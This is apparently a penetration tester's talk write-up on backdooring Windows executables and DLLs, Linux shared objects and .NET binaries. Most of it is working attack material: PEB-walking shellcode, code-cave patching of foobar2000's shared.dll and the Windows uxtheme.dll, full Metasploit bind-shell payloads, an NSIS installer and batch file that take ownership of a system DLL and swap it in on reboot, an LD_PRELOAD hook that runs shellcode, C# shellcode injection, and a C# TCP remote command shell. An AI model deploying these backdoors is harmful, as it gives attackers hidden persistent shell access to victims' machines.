Backdooring Dll Files

By Joe Giron

About Me

Too much time on my hands.

Reverse Engineer / Pen Tester for LunarLine

Waiting Video

Things To Cover

Exe files

  • basic exe injection concepts
  • code caves, limited space, making do
  • Tools of the trade

Dll Files

  • Wtf is it / how does it work
  • Why DLL files
  • Imports / IAT
  • Exports / Entry points
  • How to launch a Dll file

 

Linux / Shared Objects

Codecs and Filters

.NET stuff

Closing Thoughts

Exe Files Injection Basics

Backdooring exe files is nothing new

The "trojan horse" comes to mind. I'm reminded of some lame chess game that doubles as a virus that gets run a short time after launching. No idea if any VX people actually did this. Kudos if they did.

Space is LIMITED

Especially in a compiled exe. Need to make use of whatever space we can.

Get Moar Space

Since space is limited in exe files a kilobyte  makes  me happy. We can either use the text section or add a new section, or use an existing section to get more space.

We use the .text section (or code section or whatever) because of the default memory protections placed - Read / Write / Execute, however we are not limited to just this section. Anything is fair game really.

We use CFFExplorer in this example to mark the 'data' section as RWE. If we don't do this, the thing will crash with 0xC0000005 (access violation) if we attempt to run code in it..

How to find space in exe

cave.idc finds code caves for me (http://www.openrce.org/downloads/details/70/cave). Just feed it how big need the cave.

Don't have IDA? Look for alignment bytes. Stuff like repetitions of null characters, int3's, nops, and other 1 byte sequences used by the compiler to pad sub routines and code sections for alignment.

Example in Immunity of alignment bytes

Once we have a place to write your assembly, we jump to it, jump back when done (optional).

There are problems however with just adding new assembly to an exe. Nothing is ever easy. Missing imports come to mind. I'll cover that next.

Imports / Exports

Exe files have import and export tables. Think of imports as functions are are imported from dllls and exports as function exported from dlls. Keep it simple right?

Import Table

Import Table p2

Export Table

Exports are like imports - very similar table structure. DLL files however are usually the ones that have export table entries, exe's usually don't export anything.

Adding new functionality to an existing exe requires import entries. This can be done either

  • Adding a new Import Table entry for the required API
  • Mapping the address of this entry to the exe
  • Calling said code.
  • Calling the LoadLibrary() win32 api function, then GetProcAddress() to map function addresses to be called on the fly.
  • but what if these 2 functions aren't imported? Then What??? We have to get creative.

Statically:

Dynamically:

Static Invocation vs Dynamic Invocation

Virus makers back in the day ran into this problem - to add functionality to an existing exe, imports would have to be added. There was a time one could hard code 32 API addresses, however there are problems:

  1. its complicated as hell
  2. Function Addresses change between windows versions
  3. Relocation breaks everything
  4. New import table entries tip off AV's

Dynamic Invocation is the way to go. In my first example on Foobar2000 (Later), I use static invocation of imported entries and works for simple stuff, but everything past that will be dynamic.

Basic Programmatic Windows Shellcode step by step

  • Find where kernel32.dll is loaded into memory
  • Find its export table
  • Find GetProcAddress function exported by kernel32.dll
  • Use GetProcAddress to find the address of the LoadLibrary function
  • Use LoadLibrary to load user32.dll library
  • Find the address of the whatever function we need.
  • Armed with our addresses and handlles, we call what we need.

Somewhere back in the 90's around the time of windows nt, some virus writer decided there had to be an easier way to call dynamic code. They came up with the way employed by windows shellcode writers today. By obtaining the base address of kernel32.dll and ntdll.dll via the Process Environment Block (PEB_LDR_DATA), they could obtain the addresses of functions dynamically just in case LoadLibrary or GetProcAddress aren't being imported. This would make facilitating dynamic code 100 times easier. This code looks like this in assembly:

xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc]     ; EAX = PEB->Ldr
mov esi, [eax + 0x14]    ; ESI = PEB->Ldr.InMemOrder
lodsd                    ; EAX = Second module
xchg eax, esi            ; EAX = ESI, ESI = EAX
lodsd                    ; EAX = Third(kernel32)
mov ebx, [eax + 0x10]    ; EBX = Base address
mov edx, [ebx + 0x3c]    ; EDX = DOS->e_lfanew
add edx, ebx             ; EDX = PE Header
mov edx, [edx + 0x78]    ; EDX = Offset export table
add edx, ebx             ; EDX = Export table
mov esi, [edx + 0x20]    ; ESI = Offset namestable
add esi, ebx             ; ESI = Names table
xor ecx, ecx             ; EXC = 0
 
Get_Function:
 
inc ecx                              ; Increment the ordinal
lodsd                                ; Get name offset
add eax, ebx                         ; Get function name
cmp dword ptr[eax], 0x50746547       ; GetP 
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24]                ; ESI = Offset ordinals
add esi, ebx                         ; ESI = Ordinals table
mov cx, [esi + ecx * 2]              ; Number of function
dec ecx
mov esi, [edx + 0x1c]                ; Offset address table
add esi, ebx                         ; ESI = Address table
mov edx, [esi + ecx * 4]             ; EDX = Pointer(offset)
add edx, ebx                         ; EDX = GetProcAddress
 
xor ecx, ecx    ; ECX = 0
push ebx        ; Kernel32 base address
push edx        ; GetProcAddress
push ecx        ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp        ; "LoadLibrary"
push ebx        ; Kernel32 base address
call edx        ; GetProcAddress(LL)
 
add esp, 0xc    ; pop "LoadLibrary"
pop ecx         ; ECX = 0
push eax        ; EAX = LoadLibrary
push ecx
mov cx, 0x6c6c  ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp        ; "user32.dll"
call eax        ; LoadLibrary("user32.dll")
 
add esp, 0x10                  ; Clean stack
mov edx, [esp + 0x4]           ; EDX = GetProcAddress
xor ecx, ecx                   ; ECX = 0
push ecx
mov ecx, 0x616E6F74            ; tona
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x74754265                ; eBut
push 0x73756F4D                ; Mous
push 0x70617753                ; Swap
push esp                       ; "SwapMouseButton"
push eax                       ; user32.dll address
call edx                       ; GetProc(SwapMouseButton)
 
add esp, 0x14 ; Cleanup stack
xor ecx, ecx  ; ECX = 0
inc ecx       ; true
push ecx      ; 1
call eax      ; Swap!
 
add esp, 0x4                    ; Clean stack
pop edx                         ; GetProcAddress
pop ebx                         ; kernel32.dll base address
mov ecx, 0x61737365             ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250                 ; Proc
push 0x74697845                 ; Exit
push esp
push ebx                        ; kernel32.dll base address
call edx                        ; GetProc(Exec)
xor ecx, ecx                    ; ECX = 0
push ecx                        ; Return code = 0
call eax                        ; ExitProcess

This same technique is employed by metasploit which makes my job of backdooring executables 100 times easier. All I have to do is copy and paste MSF payloads into a hex format and I can cram my code inside. Unlike overflows, I am not worried about null bytes or encoding. This brings down the size of the payloads considerably. That said, I can use the remote cli shellcode payload and eke by as its less than 350 bytes. Laziness is the hacker way.

A touch of info on DLL's

Time to go over the basics of DLL files and how they work. I won't cover OCX files but they're the same thing except for COM files.

Why dlls?

  1. Alternative attack vector
  2. Harder to spot
  3. They look harmless enough
  4. Can't just double click them to run
  5. Who actually verifies the md5 of dll files? (they will now)

wtf is a dll exactly?

Rather than statically linking every library into your project, you can make it smaller and more effecient / modular with dlls. Dynamic Link library. By only calling the functions you want, we save space and hassle. It also makes development easier.

wtf is a dll exactly p2

DLL files have what are called 'exported functions', or exports for short. These exports are functions that can be called by other programs.

DllMain is used for a DLL to signify a lot of different scenarios. Most notably, it will be called when

  • The DLL is loaded into the process: DLL_PROCESS_ATTACH
  • The DLL is unloaded from the process: DLL_PROCESS_DETACH
  • A thread is started in the process: DLL_THREAD_ATTACH
  • A thread is ended in the process: DLL_THREAD_DETACH

DllMain() is the main() function for dlls (durr) and is called when a dll is loaded regardless of exports.

How many kinds of dll's are there?

Through my own empirical research, Font files contain 16 bit executable headers and are difficult to backdoor. Since 16 bit support is all but eliminated in 32 and 64 bit Windows, I'd be hard pressed to write anything in a font file, however that is best set aside for another talk.

  1. Standard DLL file
  2. New Executable (16 bit DOS file)
  3. ACM / Codec Files
  4. Font Files
  5. Icon Libraries

How do you run an a dll file?

Rundll32 will run the code in DLLMain(if any) and allows us to call exported entries directly as well as pass arguments. All Rundll32.exe is doing is making use of GetProcAddress / LoadLibrary

Two ways come to mind.

  1. Rundll32.exe
  2. GetProcAddress() / LoadLibrary() API calls via code
RUNDLL32.EXE <dllname>,<entrypoint> <optional arguments>

Backdooring a foobar2000 DLL (shared.dll)

I start by picking an item from the imports table within foobar. The api '_uGetOpenFileName@32' will do. I chose this because this api is called when I save a playlist file.

Now we need places to write. I run cave.idc and have 3 caves. 1 in the text section that’s 73 bytes, 1 in .rdata that’s 2811 bytes and 1 in .data that’s 3492 bytes. 73 bytes is just enough a snug fit for me. Take note of the address 0x1001B5B7 for later.

We also need to take note of the address of the exported function _uGetOpenFileName  since we're going to edit from that point.

I see the perfect place to edit without breaking the program too much. Specifically between 10003422 and 10003427, 5 bytes of space is enough to perform a long jump to our code cave. All we would have to do when we jump back is remember to move ‘2090h’ into the EAX register when we jump back to 10003427.

What do we call? Keeping it simple, I'm going to call something already in the import table. MessageBoxW. Take note of the address 0x1001C2C0.

A big problem we run into with adding new code is relocation. Relocation is the process of assigning load addresses to various parts of a program and adjusting the code and data in the program to reflect the assigned addresses. Windows will relocate an image’s base address to something other than what’s defined in the PE header in order to satisfy ASLR (address space layout randomization). Using the import address table’s Relative Virtual Address, we can call what we want. Position independence is key or this wont work. We have to get creative.

Caveats

In the following code, we’re going to use the instruction pointer and the Import Address Table’s Relative Virtual Address (RVA) to call what we want, and tell relocation to take a hike.

We can obtain the address of the instruction pointer a number of ways, but in my example I’m using the pointer to ESP call / ret trick.

; place EIP in EAX
MOV EAX,DWORD PTR SS:[ESP]
RETN

Remember the value 1001C2C0? The first 16 bits are relocated at run time. The last 16 bits of that Import Address Table entry is the RVA to our function. By adding that to the first 16 bytes of our instruction pointer, we get the address of our function we can call.

call    GetEip 	; puts EIP in EAX
xor     ebx, ebx ; clear EBX
mov     ax, bx ; store the first 16 bits of e(ax) in bx
;ax should now be the first 16 bits of the relocation address
add     eax, 0C2C0h ; add the RVA of MessageBoxW to the value
push 0 ; HWND
push 0 ; message text
push 0 ; caption
push 0 ; message box type
call    [eax] ; call it.

I'm simplifying the hell out of that assembly. MessageBoxW usually takes strings as arguments. When dealing with position independence however, one must take care to ensure strings are placed in the stack and not in some data section. This is to avoid relocation hell. The following code (disassembled from C) shows what I mean. Note the use of 'WORD PTR SS:'. This places characters on the stack 1 at a time in sequential order.

PUSH EBP
MOV EBP,ESP
SUB ESP,1C
MOV WORD PTR SS:[EBP-1C],4A
MOV WORD PTR SS:[EBP-1A],6F
MOV WORD PTR SS:[EBP-18],65
MOV WORD PTR SS:[EBP-16],72
MOV WORD PTR SS:[EBP-14],6F
MOV WORD PTR SS:[EBP-12],78
MOV WORD PTR SS:[EBP-10],0
PUSH 10                   ; /Style = MB_OK|MB_ICONHAND|MB_APPLMODAL
LEA EAX,DWORD PTR SS:[EBP-1C]            ; |
PUSH EAX                                 ; |Title
LEA EAX,DWORD PTR SS:[EBP-1C]            ; |
PUSH EAX                                 ; |Text
PUSH 0                                   ; |hOwner = NULL
CALL DWORD PTR DS:[<&USER32.MessageBoxW>>; \MessageBoxW

Here is what the code looks like when I inject it into the shared.dll file. Complete with get_eip, stack string "joe", preservation of the eax register, and the jump back to where we started.

Finally what it looks like when I save a playlist in on my install of foobar. It fucked up the strings, but it doesn't crash. It continues gracefully. Yay success!

Now on to the awesome...

Backdooring uxtheme.dll

Why? Uxtheme is unsigned by MS and used by everything!

Info On Uxtheme.dll

The use of non-certified visual styles is disallowed by Microsoft’s certificate protection. Patcher programs  modify uxtheme.dll to allow for 3rd party mods and changes to themes. Remember Windows Blinds?

Since uxtheme.dll is loaded by explorer.exe at startup, Can't just replace it cuz its in use. Also has the weird permissions on it. Gotta use hax to get around it. I'm also going to be using shellcode from this point on with my code caves.

I prefer to use NSIS and batch. I'm sure I could do it better, but again, laziness.

Section "" 
    MessageBox MB_OK "Just DO IT"
	SetOutPath $SYSDIR
	${DisableX64FSRedirection}
	File "windows7_uxtheme.dll"
	File "what_i_need.bat"
 	;Call MoveFileEx on each file above (Params: <source>, <destination>, 4) 5 == Move on Reboot && Replace Existing
	; need trustedinstaller privs to do this.
	System::Call "kernel32::CopyFile(t '$SYSDIR\uxtheme.dll', t '$SYSDIR\uxtheme.dll.old', b 1)"
	Exec '"$SYSDIR\what_i_need.bat"'
	System::Call "kernel32::MoveFileEx(t '$SYSDIR\windows7_uxtheme.dll', t '$SYSDIR\uxtheme.dll', i 5)"
 
SectionEnd ; end the section
@echo off
takeown /F c:\windows\system32\uxtheme.dll /A
icacls c:\windows\system32\uxtheme.dll /grant administrators:F

I'm getting ahead of myself here. First things first, find a cave to place our codez. Text section looks promising with 393 bytes, but I want more space for remote CLI code. '.rdata' will have to do.

Setting '.rdata' mem space to RWE allows us more fun space to work with.

Now we can fit our x64 tcp bind shell code inside snugly.

msf payload(shell_bind_tcp) > generate -c
# windows/x64/shell_bind_tcp - 505 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=2121, RHOST=0.0.0.0, 
# PrependMigrate=false, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" +
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" +
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" +
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" +
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" +
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" +
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" +
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" +
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" +
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" +
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" +
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" +
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" +
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" +
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" +
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00" +
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x08\x49\x00\x00\x00\x00" +
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07" +
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29" +
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48" +
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea" +
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" +
"\xe2\x48\x89\xf9\x41\xba\xc2\xdb\x37\x67\xff\xd5\x48\x31" +
"\xd2\x48\x89\xf9\x41\xba\xb7\xe9\x38\xff\xff\xd5\x4d\x31" +
"\xc0\x48\x31\xd2\x48\x89\xf9\x41\xba\x74\xec\x3b\xe1\xff" +
"\xd5\x48\x89\xf9\x48\x89\xc7\x41\xba\x75\x6e\x4d\x61\xff" +
"\xd5\x48\x81\xc4\xa0\x02\x00\x00\x49\xb8\x63\x6d\x64\x00" +
"\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57" +
"\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24" +
"\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6" +
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49" +
"\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86" +
"\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87" +
"\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" +
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" +
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" +
"\xd5"

The export we're going to backdoor within uxtheme.dll is GetWindowsTheme() because I've already researched how to call it via the theme manager (just select a different theme).

See that right there? The ‘or eax,0xFFFFFFFF’ instructions are perfect -  5 bytes is just what we need for a long jump.

Pop the thing in x64dbg, replace or eax,ffffffff with a jump to .rdata

Place our shellcode inside and save

Going back to my nsis script and batch file example, we use nsis to package our backdoored uxtheme.dll file and replace the currently loaded uxtheme.dll then reboot.

The code for that...

!ifndef ___X64__NSH___
!define ___X64__NSH___

!include LogicLib.nsh


!define IsWow64 `"" IsWow64 ""`
!macro _IsWow64 _a _b _t _f
  !insertmacro _LOGICLIB_TEMP
  System::Call kernel32::GetCurrentProcess()p.s
  System::Call kernel32::IsWow64Process(ps,*i0s)
  Pop $_LOGICLIB_TEMP
  !insertmacro _!= $_LOGICLIB_TEMP 0 `${_t}` `${_f}`
!macroend


!define RunningX64 `"" RunningX64 ""`
!macro _RunningX64 _a _b _t _f 
  !if ${NSIS_PTR_SIZE} > 4
    !insertmacro LogicLib_JumpToBranch `${_t}` `${_f}`
  !else
    !insertmacro _IsWow64 `${_a}` `${_b}` `${_t}` `${_f}`
  !endif
!macroend


!define DisableX64FSRedirection "!insertmacro DisableX64FSRedirection"
!macro DisableX64FSRedirection
  System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
!macroend

!define EnableX64FSRedirection "!insertmacro EnableX64FSRedirection"
!macro EnableX64FSRedirection
  System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
!macroend


!endif # !___X64__NSH___

!define PRODUCT_CODE "joereplacer"
 
RequestExecutionLevel admin
ShowInstDetails show 
 
; The name of the installer
Name "ReplaceOnReboot"
 
; The file to write
OutFile "JoesUxThemeReplacer.exe"
 

 
Section "" 
    MessageBox MB_OK "Just DO IT"
	SetOutPath $SYSDIR
	${DisableX64FSRedirection}
	File "windows7_uxtheme.dll"
	File "what_i_need.bat"
 	;Call MoveFileEx on each file above (Params: <source>, <destination>, 4) 5 == Move on Reboot && Replace Existing
	; need trustedinstaller privs to do this.
	System::Call "kernel32::CopyFile(t '$SYSDIR\uxtheme.dll', t '$SYSDIR\uxtheme.dll.old', b 1)"
	Exec '"$SYSDIR\what_i_need.bat"'
	System::Call "kernel32::MoveFileEx(t '$SYSDIR\windows7_uxtheme.dll', t '$SYSDIR\uxtheme.dll', i 5)"
 
SectionEnd ; end the section

Running my nsis installer and rebooting

Yeah Baby!

All code for uxtheme replacement is here https://gironsec.com/code/backdoor_dll_part_2.7z

Backdooring Linux Shared Object Files

Linux shared object code can be changed with the LD_PRELOAD environment variable. We can ensure our code is called in lieu of some other library call.

Functions can be hooked with the dlsym function.

#define _GNU_SOURCE
#include <dlfcn.h>
#include <execinfo.h>
#include <stdio.h>
#include <stdlib.h>
void joetrace(void);
char *strcpy(char *destination,  char *source )  {

         if (strlen(source) > strlen(destination)) {
                printf("\nFound bug in [strcpy] call.  
Source [%zu] Destination [%zu]\n", strlen(source), strlen(destination));
                joetrace();
        }
        char *(*old_strcpy)(char *dest, const char *src);
        old_strcpy = dlsym(RTLD_NEXT, "strcpy");
        return (*old_strcpy)(destination, source);
}
void joetrace (void){
  void *blox[10];
  size_t mysize;
  char **brix;
  size_t i;
  mysize = backtrace (blox, 10);
  brix = backtrace_symbols (blox, mysize);
  printf ("I'm seeing %zd stack frames.\n", mysize);
        for (i = 0; i < mysize; i++)
        {
        printf ("%s\n", brix[i]);
        }
  free(brix);
}

Hooking strcpy with dlsym

#include <stdio.h>
#include <string.h>

int main(void)
{
printf("This better work...\r\n");
char joe[10] = "haha";
char why[10] = "hehey";
strcpy(joe,why);
}

Example Strcpy program

Output

joe@ubuntu:~/Downloads$ 
LD_PRELOAD=/home/joe/Downloads/btrace.so ./testing123
This better work...
Found bug in [strcpy] call.  
Source [5] Destination [4]
I'm seeing 5 stack frames.
/home/joe/Downloads/btrace.so(joetrace+0x19) 
[0x7fe1699f6885]
/home/joe/Downloads/btrace.so(strcpy+0xd0) 
[0x7fe1699f683c]
./testing123() [0x40060a]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xed) 
[0x7fe1696597ed]
./testing123() [0x4004f9]

Get Dat Shellcode

Getting lazy with my shellcode. Why reinvent the wheel tho?

Dldym dat shellcode

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>

char *strcpy(char *destination,  char *source )  {
unsigned char buf[] = 
"\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xce\x62\xd4\x8c\x11\x28\xd0\x06\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa4\x59\x8c\x15\x59\x93"
"\xff\x64\xa7\x0c\xfb\xff\x79\x28\x83\x4e\x47\x85\xbc\xa1\x72"
"\x28\xd0\x4e\x47\x84\x86\x64\x1c\x28\xd0\x06\xe1\x17\xa7\xfe"
"\x3e\x4a\xb9\x68\xe1\x01\xb5\xe0\x11\x7e\x87\x4e\x47\x84\xdb"
"\x89\x11\x28\xd0\x06";

int (*doit)() = (int(*)())buf;
doit();
        
char *(*old_strcpy)(char *dest, const char *src);
old_strcpy = dlsym(RTLD_NEXT, "strcpy");
return (*old_strcpy)(destination, source);
}

Backdoored shared object replacement of strcpy spawns calc instead of copying strings. An interesting spin on shellcode with strcpy.

Compile and Run Dat Shiz

joe@ubuntu:~/Downloads$ gcc -shared -ldl -fPIC -fno-stack-protector -z execstack backdoored_so.c -o backdoored_so.so

Backdooring .net binaries

Managed Code and Shellcodez? Sure!

How? Just press the big red button...

Because C# is awesome, we can import a lot of win32 api functions to help us run our code. In my example, I'm employing the use of VirtualAlloc() to mark a piece of memory read / write / execute, I'm defining a byte array (my shellcode), I'm using WriteProcessMemory() to write my shellcode byte array into my memory space, then finally I'm using CreateThread() to launch my shellcode function address I just wrote.

TL;DR using win32 apis in C# to launch shellcode.

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;

namespace WindowsFormsApplication1
{
    public partial class Form1 : Form
    {
        [Flags]
        public enum AllocationType
        {
            Commit = 4096,
            Reserve = 8192,
            Decommit = 16384,
            Release = 32768,
            Reset = 524288,
            Physical = 4194304,
            TopDown = 1048576,
            WriteWatch = 2097152,
            LargePages = 536870912
        }
        public enum AllocationProtect : uint
        {
            PAGE_NOACCESS = 1u,
            PAGE_READONLY,
            PAGE_READWRITE = 4u,
            PAGE_WRITECOPY = 8u,
            PAGE_EXECUTE = 16u,
            PAGE_EXECUTE_READ = 32u,
            PAGE_EXECUTE_READWRITE = 64u,
            PAGE_EXECUTE_WRITECOPY = 128u,
            PAGE_GUARD = 256u,
            PAGE_NOCACHE = 512u,
            PAGE_WRITECOMBINE = 1024u
        }
 /* msf payload(shell_bind_tcp) > generate -t csharp
  * 
  * windows/shell_bind_tcp - 328 bytes
  * http://www.metasploit.com
  * VERBOSE=false, LPORT=1337, RHOST=0.0.0.0, 
  * PrependMigrate=false, EXITFUNC=thread, 
  * InitialAutoRunScript=, AutoRunScript=
  */
        byte[] buf = new byte[328] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,
0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x08,0x59,0x50,0xe2,0xfd,0x40,0x50,0x40,
0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x68,0x02,0x00,0x05,0x39,0x89,
0xe6,0x6a,0x10,0x56,0x57,0x68,0xc2,0xdb,0x37,0x67,0xff,0xd5,0x57,0x68,0xb7,
0xe9,0x38,0xff,0xff,0xd5,0x57,0x68,0x74,0xec,0x3b,0xe1,0xff,0xd5,0x57,0x97,
0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x68,0x63,0x6d,0x64,0x00,0x89,0xe3,0x57,
0x57,0x57,0x31,0xf6,0x6a,0x12,0x59,0x56,0xe2,0xfd,0x66,0xc7,0x44,0x24,0x3c,
0x01,0x01,0x8d,0x44,0x24,0x10,0xc6,0x00,0x44,0x54,0x50,0x56,0x56,0x56,0x46,
0x56,0x4e,0x56,0x56,0x53,0x56,0x68,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x89,0xe0,
0x4e,0x56,0x46,0xff,0x30,0x68,0x08,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xe0,0x1d,
0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,
0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5 };

        [DllImport("Kernel32.dll")]
        private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param,
           UInt32 dwCreationFlags, ref UInt32 lpThreadId );

        [DllImport("Kernel32.dll")]
        private static extern IntPtr OpenProcess(uint lol, int int_0, int int_1);
     
        [DllImport("Kernel32.dll", ExactSpelling = true, SetLastError = true)]
        private static extern IntPtr VirtualAllocEx(IntPtr intptr_0, IntPtr intptr_1, IntPtr intptr_2, AllocationType allocationType_0, AllocationProtect allocationProtect_0);

        [DllImport("Kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
          byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesWritten);

        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            System.Diagnostics.Process olo = System.Diagnostics.Process.GetCurrentProcess();
            int pid = olo.Id;
            IntPtr hProcess = OpenProcess(0x001F0FFF, 0, pid);
            if (hProcess == IntPtr.Zero)
            {
                throw new Exception("Could not open process ID " + pid + ", are you running as an admin?");
            }
            IntPtr intPtr = VirtualAllocEx(hProcess, IntPtr.Zero, (IntPtr)buf.Length,
            AllocationType.Commit | AllocationType.Reserve, AllocationProtect.PAGE_EXECUTE_READWRITE);
            int zero = 0;
            IntPtr kek = IntPtr.Zero;
            WriteProcessMemory(hProcess, intPtr, buf, buf.Length, ref zero);
            UInt32 tid = 0;
            CreateThread(0, 0, intPtr, kek, 0, ref tid);
        }
    }
}

MSF is nice enough to support C# output. This code works fine when compiled with visual studio or mono.

In a perfect world, I can export this as IL code and inject it into .net class libraries and .net binaries alike. I would use something like Reflector and Reflexil to do edit the bins. This however is the real world and nothing is ever easy....

using System;
using System.Threading;
using System.IO;
using System.Net;
using System.Net.Sockets;

namespace ServerApp
{   
    class Program
    {
        static void Main(string[] args)
        {
            int PortNo = 31337;
            TcpListener servListener;
            servListener = new TcpListener(IPAddress.Any, PortNo);
            servListener.Start();
            while (true)
            {
                Socket rocksock = servListener.AcceptSocket();
                try
                {
                    Stream dastream = new NetworkStream(rocksock);
                    StreamReader sr = new StreamReader(dastream);
                    StreamWriter sw = new StreamWriter(dastream);
                    sw.AutoFlush = true;
                    sw.WriteLine("Joe's C# TCP Shell!!");
                    while (true)
                    {
                        string command = sr.ReadLine();
                        if (command == "" || command == null)
                        {
                            sw.WriteLine("Command not entered!");
                            break;
                        }
                        System.Diagnostics.Process kek = new System.Diagnostics.Process();
                        kek.StartInfo.FileName = "cmd.exe";
                        kek.StartInfo.RedirectStandardOutput = true;
                        kek.StartInfo.Arguments = "/c " + command;
                        kek.StartInfo.UseShellExecute = false;
                        kek.Start();
                        sw.WriteLine("entered command {0}", command);
                        sw.WriteLine("output: {0}", kek.StandardOutput.ReadToEnd());
                    }
                    dastream.Close();
                }
                catch (Exception e)
                {
                    Console.WriteLine(e.Message);
                }
                rocksock.Close();
            }
           
        }
        
    }
}

In this case, I have no choice but to reinvent the wheel and make my own backdoor code in C#. It's not pretty, but it works fine for my needs and is portable to Linux without fucking up my decompiler / compiler.

